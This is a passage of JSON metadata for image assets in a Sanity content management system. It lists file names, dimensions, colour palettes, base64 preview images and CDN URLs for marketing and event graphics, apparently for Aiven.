{"_createdAt":"2024-04-03T10:08:01Z","_id":"image-5b3a4281a89d77c7dc599a9988485efbe95d177c-1200x628-png","_rev":"9k1srJVIAf7BJJgtqkN7O7","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T10:08:01Z","assetId":"5b3a4281a89d77c7dc599a9988485efbe95d177c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8CF}90DKC}[I3~pE4-:W99a1A-h+XEoK9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACxklEQVQokR3PXU9aBwCA4XO1izUx3TqwyIFTDogfgB0wW21FdEygtQU8x8qHhVYRFFRgfFSdyhwGiWyY2qXVpmmXrWma7cI02ZJtye520ZumN/tB75L+g+cRuqUEQ8N5xnw1vP4tPFPbeP3fMhFoMOZrMPZVi3DsBZnC3yyu/0so/gY1us1BPcnZ8wy//7TMbyfz7G/OEo6kEfTyXa54SgRu73JLbXBLaXIj3CQQajEZbDLs+Y7rvh8Izb0kEj/DHzlhJpZhd1vl1UmSs2dJfnk0x1YlgKJOIojmFFfHvyYYqjMTPUCJHRIMN/FM7eEc3cFir+H4vMZN3y53w/tEwyVi8WlqtSDPjuO8fjrPaWeWatHLfHwIQSfFsTuzjHrLTAS+Ydy/wxXPFgPOMqKlQI9cYMSZoxy5z2kmQScdobgwwUY1SKc1x8PWHQ4bEWrFSVYWXAhanYJsjtHvSGNzrTLgXKfXUcBoXUUr5dHLa9y4nuF5RuF9PcCfm1O0yyHa+wsct5do7yfoNFMc1BNslaYRLmgjGAyzmKwpzLYsZlsOqS+HTl5BY8wjymtExpd4tRbjXUPlbDPK0fYKT44ecNrJ8/hwkSftFX78vszB3irCeY2CRqfSbYhz0ZRCZ1qk+9ISWin7QSiaC3hGylSSexxVHlJfb1FeLfCgkKC6HKSa9VHO+Knk56iU0gifaBXEHhWTnECyLiL2LmHsy2G2FbHYK1gcG7iutQhHfyVXekuu+AZVvY/3Wj+j7h6uui7ismv54rIRr2cI4VPtDLKo0G9N0mvLcGlgGYt9DZu7is29waB7h5EvHzF77y9ytf9YLvzBzek4l+0i1r7zyL3n6BE/wqA/h2NQh9ClUbjQraLRR9EY5tEY7n0o6y159JZ1pP4aw95jYul/yJbeEU39jN9/B7fTzKD9M6yDXUimj5GMXQzZDfwPVwaKp+xULagAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392c60","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af975e","foreground":"#000","population":7.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bea1","foreground":"#000","population":2.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09142","foreground":"#000","population":2.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af975e","foreground":"#000","population":7.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd771f","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"London dinner - 24 April - meta image.png","path":"images/sczeoy4w/production/5b3a4281a89d77c7dc599a9988485efbe95d177c-1200x628.png","sha1hash":"5b3a4281a89d77c7dc599a9988485efbe95d177c","size":681556,"uploadId":"ztaJbK5cozBv05afdVFkVBHETzRJGK6E","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b3a4281a89d77c7dc599a9988485efbe95d177c-1200x628.png"} {"_createdAt":"2024-03-12T15:52:26Z","_id":"image-43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6-50x33-svg","_rev":"3FGtLQfVRJNnLVm3parWwJ","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T15:52:26Z","assetId":"43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V51X|:ZxU[Z_ZeiYZ_aEaEaEZ_j]bff5j_WAkFkcj=kb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5151515151515151,"height":33,"width":50},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+klEQVQ4jXWSSWsUURSFb0CEmDoVh00riAZRN0YcQBcOBIwxjqDYSNcpjUNvFYziwnnEWcQRFScQXbpx4Yj+HTeiOdUNriKv6ha0Bb14m/e9e965515D+sfQbFmUZBanstqhXwZqFqi9oF6COgZqDiiLKZt98HfJ0yq3ZmYWJS2L9ig8Ks80UBtBPQD1EdQtMBsEs15QU0D1gRruwqfa5KTlQn31v4ZEPaAGQZ0G9RjUM1AXQO0ANQJqAailHfxphS/KWy3bATXDW73tRZdBNf3uKKgNoPYVrv7jqbe+2sDMUG8H4eBuGajzfk550ZrCdbYO1GiFnyl43vJaMKt5brnLCFTd3V0EdRXUmLc434Ov8v0e0QDSLEbaLvKL01xwHqgToF6Aeghq3MMPortALQd13Cf7qMJ3g5oZpy2zqDFhNvIzCK5ysU/++3pQW0Dd8IzC5J+D+tzBN3fwuaAWG5KJchjhp6+g3oLaBGohqMOgrnhxGMY3UO+68OGQrXkGO0E9AfUeVANUDdRWX5txX4mwdx9AJV34SVB3g+ABUEd8r+6BGvLJ3gf1A9RNUJdAfQH1qsK/+wqd9TejQXAFqCUe7DVQ53yKwfEbF7njwkGkLC75a1DXQW0D1W9I1dNfLPWATzFkFIq3e1ZhqYOrld15NgRm03sbbfsHlKa4RM++uzkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34344c","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041776","foreground":"#fff","population":1.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#115afc","foreground":"#fff","population":2.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#013097","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ca4fd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#3c5c89","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#115afc","foreground":"#fff","population":2.3,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-new.svg","path":"images/sczeoy4w/production/43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6-50x33.svg","sha1hash":"43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6","size":6241,"uploadId":"uuf3KazBlH07YtpIUU6dpuj4Dw9QGKQX","url":"https://cdn.sanity.io/images/sczeoy4w/production/43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6-50x33.svg"} {"_createdAt":"2024-03-20T08:51:44Z","_id":"image-8164263da689f5e0a27da93352f24e091a84de13-1226x1394-png","_rev":"PjhTiFLESFHgz5EjCAsBym","_type":"sanity.imageAsset","_updatedAt":"2024-03-20T08:51:44Z","assetId":"8164263da689f5e0a27da93352f24e091a84de13","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGKKsP~CADpI009ZIn%2%3OE00_N?H8_-p-pxFWWX8slD$S$M{nh-=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8794835007173601,"height":1394,"width":1226},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAYAAAALHW+jAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGmUlEQVQ4jV2Ve1BU1xnAPxamielYprFqNdFW00SN1QkhUg1kjCQaKJBaUh9DLaEZNT4yZIQRjZIgWrFxorFWTSYkFdua4mNhl0ew5WG0jgoIKsKu+7h372P33t1l7+7evffcB/dyb2c3aTvtN/ObOX9853e+75tz5gDAXCgufT/9xwvKn5g9v+ylWfPKCqbP2ZAz7Yl1055aXJH2gyfXw4y5GyEZOS9VQubM0jSwvJIOsDIdYFU6ZLyanv7dn1syZ5bCf+Lr63dn1exr3FJc+sGl/II9PYW/qG3c+e4fC69eG35s/4EmWFd2GJ5fsRMen73u0fmLKp59Nmtr4U+zt61Nsui5LSXzF1Vkz5pXNvX1X9UDmKYJFB18obt3qPnTzzv5Y3+w6o1/6vL39A01MEx4zo2bY/DOrk/SZs37DTyz5K2ZWct3VublV3eveq1mIEnuqqrrS5dtr5/7TPlTv//oAsB4yAsiQnmxWOKKPxDWfL6AybARFI8LTQhJCwzDhE1vHU91snb9gQV5+VWf5eZX8a8U7jVWF71n5OVXS9kr3rmYtXzH88nioKnpHKiq8qKmaR2KIiNRFHRVVXhN084qirIwmbQ4e1eqk9oDZ7NLNx60rly9W1lTvM8seL3WWLl6t/5ayb7ezduPr0rEiTTo7esDCaHFiqJ8KCH0tZhI9MsI9ciyvBchNCcpenNrY0rY3nkz57MvOu2/O9qs7jl43qw5eN6oP/I34/Snbbcvt1wruntvMA1whgOB57+HhESuEI3W8OHQyQQXqUZC4gVBEB673d0HuqjCndtX00IhLiccjtlHPIx6rsdhfv53h3HHGTCDoehAOMwVX7R3WgBnBTABAI0Hp0coakMQwz4YJ3xvSJHQtL72q6D6fRCnXKkZSpK0zDAm7WxcUq0DpNl8izCICDImDaNfVZWiv1y0WVKtbHn7qGXz1qNP1u49tfZI3ZnttTUnC9+saJje0dxhUQJYhpkIZkgsliFJ0s80TbPHE0gdwRjzrttvROKioWlavyzLxZdbbJbUyd29gzMqq85sKih5ryl/TXXHq4U1J6p3nynCnJ4c7CFeQHjJEi4QyJP5aIk2MdEuS7waDTpMjhkxJIFLCRVFKba3XvqmQp8vkGXvuPnnj05c5uoP/1X7+KTV19vd/wlLUPVeF3He6yJsrI88ikL+Sl1Vu3SZUTX2ojlBnTV0wWPoutYvK0pxZ2uTBYKBERAElBsMcl0uN6k9GPWaXowWI8FwK8/49wZ8ZCOF0/9gMN9pgSGrdFW5MqkwqhZsNjW60ZgUXcbkt8KvbE0WOHHyNCiqmqsoShfP8yrHcaYgCEhFwpey31sSIYm3WZo9xRLUPiEU2KKryleqnFDj42NmPHTPUBBn6LqeErbZLn0zQ1mWl8iyfDzB8/+McpEBgY9fUwS+TmZ9CzncMz/sD6wIEeRzKB4t0DWtnZcU1cFGzVGGM2JITgmTM7Ta2yzAuUczQrT/6UhofD0XDFZylK+aJ707BNJdGPLhPyE8xA9ZDH+cGrn7CEIoZ1LX7SzSVDspmlY8YVCC+q1QLvqytd0CMcI7lXB5czGntwJ3uHb4hoe3MUM3N0ac98sIj2837qX3M1TgjTBJzpQQWjap620hSZvoogWzg0yYAXHC1PXJgWSFF+wdFoiR2BQaJ5eROP1byuvbRY053mXd7m0hkjpEYNQFEqPPj9P+Sp7Gf5QUaprWmpBkGQtFdW+Q03gka7qu35JluajFZrNAl82ajuFMDs0kjvgZsdkfSFwIsOgSExQ7aDpyyu/B1gmjt5ZKA52ZoiguUFX1EELoCsdFejiO60YI9aiqelqSpOU2my0NrNbLU+4/cJd78MighxATTkzkH+KigNPyOM2gJvrecNbEGphibJ6bEY1Gp4qiuEQQhJWxWOzlJIIgvIwQyo7H49OsVitAZ2dH5tDwaPXYQ4Z64IqZd0Yi5uD9cdOJiTrlF9uooTsvhnPhUXPznPTewRFwPXRaGIaxiEiyCAil1m632zI8PAx1dXUALS3WR0Yd+AYvEb3uIVHYiQlBh1cIY5TspwLiOd+YO2tkKaSbH29KM81bMOLCQBTF1AtLIkkSOBwOuHHjBhw7dgzg/dr9aR6cXUgxiR00Kx2mmBQNNIsOUgH+1y4PPTt5V5ObW2x2oCgK/H7//0DTNHi9XmhoaAAoLy8Hh9P9HdxHf5+gmBkkxaYgKGY6hlOZ9x84M/4tPLR/D5ilAOYv//vB/X/8C9+JvC71zyZzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32365f","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#501708","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#32365f","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa0d4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ce5fa","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#678aa9","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15b1dd","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-query-to-ai-response.png","path":"images/sczeoy4w/production/8164263da689f5e0a27da93352f24e091a84de13-1226x1394.png","sha1hash":"8164263da689f5e0a27da93352f24e091a84de13","size":43301,"uploadId":"jiMhOUI98SyOrblYLcGveN3lVz67srys","url":"https://cdn.sanity.io/images/sczeoy4w/production/8164263da689f5e0a27da93352f24e091a84de13-1226x1394.png"} {"_createdAt":"2024-03-22T09:55:32Z","_id":"image-46969c0ad031b459b2ae43bb24746c748629a56b-1200x628-png","_rev":"80Znsvx5FiXC5oBvpVy2qg","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T09:55:32Z","assetId":"46969c0ad031b459b2ae43bb24746c748629a56b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNOgNnV}s7t6-=n3n+oebbbc~qr;RjkCRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACG0lEQVQokSWNS2/aQACE/V97bi/toYf20J5ySRUpUi9VpETpoW2qKjEJj7XBhvAoFGoSsNcv7F2zxl5jG1AanARsKoL0afRdZoYZmzE6r9onLL5qYdDFoIfFARaHTvnGaRnEnBM/JUE2CVNEFp2uXKt2hgqaTJNgnjEIhirbhD9FletDrg+BBLm+svOaqg0CEyWOtyI06Uvyr+Oj74f79cIVQj6N1wyE86agi0CuCoZY0YWyJvBqhYMVDgoVXahZjY471BaGFdT54o/9D+ze2+75KTYNb/rI3MA5X7NzJfWK0y85jS2pOaDmgJZ7FrYIL4EqNOxOTwcXZycf33x7/7J9doR06IUJ05djIIwu8nKuCNmCcp6X2YKy84vC1tmCUihrzY5Ryuc/vXu99+pF7usX0xj50RMjyTNQtZ4ftEugsUXIlmCe10uCCcQRX7Uq13ar5ypm9EeCp8cnnw8OSkXOckIap8xAXdSaDhBMvmZX6rh8jfhru952/w7CGxgPtVgxZiPnHk8SWZ82OppYH3Zvse3e+3HKWHgJB77UG3f73q06U4w7aP4zUILcJ0JXk3DlRys/TtEkkWT6W3LbkisNqencedGKIZPHsTHVZU9WQxMvx35K6IbQzA0yL8zoLAvm2yTBk2rNB3qkmDMD32Ev8aI1Q2hK3AdMlsh9cLw1odlzeYsbbPxoQ+PM35J60doNV160prN0N/off8rxCRFsi6wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4366","foreground":"#fff","population":4.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14173e","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e4366","foreground":"#fff","population":4.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b9d7","foreground":"#000","population":2.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8761","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed2b3c","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Delivery Hero - Image 3 final.png","path":"images/sczeoy4w/production/46969c0ad031b459b2ae43bb24746c748629a56b-1200x628.png","sha1hash":"46969c0ad031b459b2ae43bb24746c748629a56b","size":90832,"uploadId":"rTAI07oLEEQKLaqhEdjvQxTKzsuDc0zF","url":"https://cdn.sanity.io/images/sczeoy4w/production/46969c0ad031b459b2ae43bb24746c748629a56b-1200x628.png"} {"_createdAt":"2023-12-18T16:57:06Z","_id":"image-d3f90af90cf3c1da270277f90a14996e6b94ee93-1200x628-png","_rev":"Do3156plRwIXmiihO0WILV","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T16:57:06Z","assetId":"d3f90af90cf3c1da270277f90a14996e6b94ee93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M48NxM~a9E?Er.yG%LaIE2Iu009FM_oit5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACi0lEQVQokSWSW1MSARiG+QVdaEgcdgV2YZdlFcE1gghFIkGDwkOJWU6pzYiHRM04yFGU7KBO1kW/9mmgi3e+u2eeed/PNGR7hVN9jz+0QyB8gG58wq3tInj7OcDhPWJUPcWt15DGmkhjHaTxDi5/HUGpYPNUsXlqWOUyFvcJphGxwGT0gLlcnfl8m9TzFk+e1kmkz5nNXBKd7TI9d0Uqe0Mic8t0+hezC3fE534SiHRx620EtY3d28DmOfsPnIodMp9vklvpklu55PlSj8XCNctrv8gu37JY+MPK27+k83+IpW6IzP7g4XQP/9Q5bv0C0XeJoF4ial8xmYVVguEiyUyZZKY2MJzLdUm/6JF+8Y3kwjfSL2/IrtyRyFyjGR2cvgqi8hlRKSOqTQS1g6BeMKp9x2R2vGZ6psj6Wp3UfAUj9plwvEIkUWfycR01WBnkUbxCInlKKFxGmaiiTFTwhep4J5qIvjMc3v7tYbI6C6ytluk2frP65oJQ9JhQ9BQjVkU3yojKMXb5gEBwk5nYGx5F9hl/WGM83GAi0kEzzhn11Qf9OZTOf8NkqsTGRpf401NkvYjk30PW+2uXsMuH2OV9QsZHns1sEomW8AX7djX8Rhsl2O+whVWuYvVUMQ1ZlvBKBQKBLTz6R6zuD9wXPmAWt7E4dxkZ3cepHpLP1jjaarGc7zAZaxGMtpmKXxGI/MCld7BKX7C4jzENjeRx2RdRPOtI2jY2aZNhx3uGHVuYxR3M4h5OtUQue0Zxo8HCQgO/cYYv1GQs3EMzrnBqDR5IJ4y4SpjumRcZtixhtr/GLKwz7HjHkL0P3B4A+4ZW9ydkbQ8tUBzUYJNPsHnKCIOFW9gGT32ExXXEP9+qb9Ssuzv+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252650","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c7c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0d1e1","foreground":"#000","population":8.33,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7880c4","foreground":"#fff","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696e96","foreground":"#fff","population":3.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Whats's new with Aiven webinar - Q4 2023 - Q1 2024.png","path":"images/sczeoy4w/production/d3f90af90cf3c1da270277f90a14996e6b94ee93-1200x628.png","sha1hash":"d3f90af90cf3c1da270277f90a14996e6b94ee93","size":251385,"uploadId":"ZhXLenZ8vrsuaRtdq9ILgT3qVjdkJmFg","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3f90af90cf3c1da270277f90a14996e6b94ee93-1200x628.png"} {"_createdAt":"2023-12-11T09:14:16Z","_id":"image-7300debab8780e66d29d3449546ec31fee238ae0-1200x628-png","_rev":"Do3156plRwIXmiihNt8MSx","_type":"sanity.imageAsset","_updatedAt":"2023-12-13T10:36:41Z","altText":null,"assetId":"7300debab8780e66d29d3449546ec31fee238ae0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8D+V~01$r}[I}_4Io%3ROEM1n#i=UEoOc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyUlEQVQokS3RXU9TBwCA4fMLlkgtKC0MqS3fBRQpDpDDbCkW6CddO+FsFNta4CDtsa1d6VkptDBltZqxbCIhpsZEs7ELo03UxWTZzbLNbBe72N1+yruM7A88eZNXqGsM0GaOMDia4KKY4pJtHctYlp4LKQZGVMTJ20z5DpCiL/l06Sf8oR9ZiD1GWVI4SC/wcznOk1yMQlIlnf0e4aQ+SN+gzGVHFtuUit1Z4LKjwKh1A+vUDg5PhQnnHtOzVdzBI+YiL8htPuNOLsMPRZk/H6gcbcUpqyrVx68QtE0f02+RsTrWsc98zhXXJpPOIpOuHZz+MjO+CjZ7kZmJPJKrSHL1AZW7j9gr3OL1bpK/D3eo7aT5Ss3w4nkNQaMLYDJHuDASZ0hMcVHMMPxhjlFrnksTRcZsRaZtaVK+Rfaj8zwtZPjmzm22lRivSgr/7G/zZlPhrrLMs8MDhLrTH9HSHqJnYJmeARmTeYWz3TKGrjXOdCQwdt/EJcY4jHr5Y+MKv5YXuZ+VCXsd7C8F+b2kUF2eI3vVzbeFWwj/TTF0XqPXItNnWaOjb/UYbG6TaWhZQd8q4x6L8EQO8G7LTy0fIhMKYB/qZ216mKrsJ+MWkcYHyUtOhBOn/DQZJIzdYdp6Y8eFhi6ZJtPKMahrXWXEonBT2qCSvE8pvks0IDHe34nH0kHaPUxw2Iy9r52IzYJwot7L+/pZjEYJQ2cEvTFMQ0uY+uYo2uYlTp2J03V+ixn/U5YTv7CuvuVGOMX4uW7EjhYWRnvwDJiw9bZxfVpEqKv30Kr30m6SONsVodFwDY0uhEYfOQZPtyYwD32JZ77GSvovNkq/kU9/gUv8AJell1zATtJnJey0sZuMIryn9aJp8KHVBdA2zaHRf0KdLsTJ/8FGg8K5kXsEF99wPfGO1GdvKW/ucePqLKl5P0flAt9VSjzcVqlVv+ZfNZ6fKr6m9j8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d2e5b","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d89c7c","foreground":"#000","population":8.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5bdb9","foreground":"#000","population":1.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d89c7c","foreground":"#000","population":8.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6754","foreground":"#fff","population":1.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4883d","foreground":"#000","population":2.44,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"yen-pham-social-media.png","path":"images/sczeoy4w/production/7300debab8780e66d29d3449546ec31fee238ae0-1200x628.png","sha1hash":"7300debab8780e66d29d3449546ec31fee238ae0","size":643980,"title":null,"uploadId":"1JuDVzXDZkFF8z3f3FLZKJZVSppZJXv9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7300debab8780e66d29d3449546ec31fee238ae0-1200x628.png"} {"_createdAt":"2023-12-18T17:13:35Z","_id":"image-468afda05d8d2c2a94817b355ae6afe58847e025-512x512-png","_rev":"sg5cBJWkRHo7pkcz4M62dR","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T17:13:35Z","assetId":"468afda05d8d2c2a94817b355ae6afe58847e025","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGE{CHNH?^Mx%M?bs:RPRjVY?bbbNGt7S$5Rj[r=jZxt-;t7WCRjkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEqElEQVQ4jRXNZ1OaBwAA4Pd7U3nhBQRx0JyNURBPRJa8CtSFCC7UiCBTZhARkSFTlgqIIAFUHJU0o62nJiioySVe+6E/q5cf8NwDfKneVm6u4ts7vGHhiHCydHrx8PUplS26/JH0QfHi4qKY2dvxu1Mh30k+Wy4dHuyEE0H3UTZZrVwDZ4VcIZOy29f7uEMjwsmTs/K3b/8UC8eBTV8kENjf3U6EvB6z1mPSpKOBYjoRtFs29IpkyFO5/hvIJeKJcMBkMDE4vOGxidOzi6fHL4fJHduSdHlSZJHOOZeVDs2iU7eU2vIW9nZ9VsOaWrrrd93eXAKnuf03ifjK6xUmhz88Jj45Kl2XzwN6lVkwZB8btYwOqQW/rSxMh6yGYjJ2ls/G3Gubr7WZeLB2+xkov0kfJmOrFguTwx8Vigv76YOgxzg26J0QZZfkXrFwnklbHOoPmtRn6e1yIbPttHoMynTEf3/3GSjvx4/jAZvJwOLwBEJxJhbeMmkUA2z/1ERWLgtPiZfYdDG9y62QvN2Lvs+nd9YMLtWrpN9Vq3wCLgt7f+zFnBYzG+YLxycOtqNRi3Z5sD8yJ8krFcm5WT2XM9LVvjor+LAfuzrJZzdtQZMqGw08Vm+Bq5P8+1zKuWpl9/PHJ2YOM/sZj10/yvNJJtMKeWBKvMDo6fuVqBL0nye2rs6Pc0F32GZ6k4h9va8BpVQ8Fwm81umZHJ5ocva0UDyK+pVDsJIP28RjGh4s6GyntjRMwrS031nOZ+MOq0unSIX9D9U7YD8SiG+6tEoNnc0VTc2WisfFeFjCZY9QKXIevMhhDpHb2gk4BumlXr4Y2Fh36NU2tSwR8t1X74Bcand7K6jR6OhsLn9YuLGxadLq6BRKO5HYRyJxOtrbGxuxKKihHk/uoPDggfkJsXVZnd6JPT48ADuRkNftkS2paayBjk4qlcZqe9mJqyegofp6DB4L1SNBCAGikSgsCsI34Jtp3T2Ls5J4OFSr3QM264rRaJqZl1EZMKH5ORKFrUNAIIhBIrEgEoMAMWgI19zQQmxowaJxKBS2uekX/gDX7XRUKneAx+u3rTvnZKpuBowjEH8AxI8KRGKQKGw9ronURh7vZYso1FZcIwhi8PgmNpvjdLoqlSoQS6Y3t6JSla6LzsERiBCEQ4BQXR0KAaJRKGxTSyuHAeuHhToW3ENsbcI3NzYSe+ksu8N1U6kB+lWH0mgRzrwidzPxjc8xWAICRP/0DHz2M7KuDgmhca3PX8AkyiiZIuxljLPhrjYSiURRLxs/Xn4CZDrznEI7KJomdTNevCCT2kgthCYQgQQREARhUUg0hITwaCzjZZtdMh1VKmfg/p7OLrlC/e6va8AbSzoCUYlMTaX3CXh828K8cmSQSyFzqD0DLJhLZ/JptBFGr35ccGQ1vbVbfPMz8vFxp8t7ffsAvLupnX+8Ma+5Gax+1dTUhy3vW+fqtuKVV75gk0p9yqWUWZezGk/XLe82rKdmbUojT7jdv5c/PHz/F6g+/XdV+77mDtGZsFws+jPi/xRyna9osuqF8MJ0Ur1YWjVerFvOrIZDozqjlKaWVaW99OVN9fbx6X9vGcU6c1rkOQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3833","foreground":"#fff","population":1.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b2022","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93766e","foreground":"#fff","population":10.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb0a8","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edd0d1","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93766e","foreground":"#fff","population":10.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c04f5c","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Arthur-headshot.png","path":"images/sczeoy4w/production/468afda05d8d2c2a94817b355ae6afe58847e025-512x512.png","sha1hash":"468afda